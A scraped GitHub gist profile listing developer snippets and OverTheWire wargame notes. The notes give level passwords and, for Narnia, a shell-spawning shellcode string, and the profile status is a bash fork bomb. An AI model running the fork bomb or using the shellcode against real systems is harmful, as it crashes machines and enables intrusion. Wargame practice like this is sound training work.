Skip to content

Instantly share code, notes, and snippets.

View mattrighetti's full-sized avatar
👨‍💻
:(){ :|:& };:

Mattia Righetti mattrighetti

👨‍💻
:(){ :|:& };:
View GitHub Profile
[[blogs]]
title = "mattrighetti"
url = "https://mattrighetti.com"
description = "Just another dev blog"
[[blogs]]
title = "fasterthanlime"
url = "https://fasterthanli.me"
description = "Rust dev blog"
@mattrighetti
mattrighetti / hs.json
Last active March 30, 2022 14:48
Scanner logic for libHN
{
"Post": {
"CS": "<td align=\"right\" valign=\"top\" class=\"title\">",
"Vote": {
"R": "votearrow",
"S": "href='",
"E": "'"
},
"Parts": [{
"S": "<a href=\"",

SQLite on iOS

This is the code for the article here

//
//  SQLiteIntroApp.swift
//  SQLiteIntro
//

import SwiftUI
import FMDB
@mattrighetti
mattrighetti / resume.json
Last active February 5, 2022 13:41
Personal Resume
{
"meta": {
"theme": "stackoverflow"
},
"basics": {
"name": "Mattia Righetti",
"label": "Software Engineer",
"image": "https://avatars.githubusercontent.com/u/16304728?s=40&v=4",
"summary": "",
"website": "https://mattrighetti.github.io",
@mattrighetti
mattrighetti / geobuf.md
Last active October 11, 2021 14:17
Geobuf is a compact binary encoding for geographic data.

Geobuf

Geobuf is a compact binary encoding for geographic data.

Original folder can be found here

I've created this gist to better explain how the mapping between a geojson object and a geobuf is since it is poorly documented in its original folder.

GeoJSON example

You can play with geojson on geojson.io. I've taken a simple feature in this case

@mattrighetti
mattrighetti / OverTheWire-Behemoth.md
Last active April 22, 2021 00:49
OverTheWire - Behemoth

Behemoth

Level 1

Password:

aesebootiv
@mattrighetti
mattrighetti / OverTheWire-Natas.md
Last active October 22, 2021 20:34
OverTheWire - Natas

Natas

Level 1

**gtVrDuiDfck831PqWsLEZy5gyDz1clto**

Level 2

**ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi**
@mattrighetti
mattrighetti / OverTheWire-Bandit.md
Last active October 22, 2021 20:36
OverTheWire - Bandit

Bandit

Level 8

cvX2JJa4CFALtqS87jk27qwqGhBM9plV

Level 9

UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR

Level 10

@mattrighetti
mattrighetti / OverTheWire-Leviathan.md
Last active October 22, 2021 20:35
OverTheWire - Leviathan

Leviathan

Level 1

**rioGegei8m**

Level 2

**ougahZi8Ta**
@mattrighetti
mattrighetti / OverTheWire-Narnia.md
Last active April 22, 2021 00:34
OverTheWire - Narnia

Narnia

Level 1

Password: efeidiedae

Shellcode

“\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43”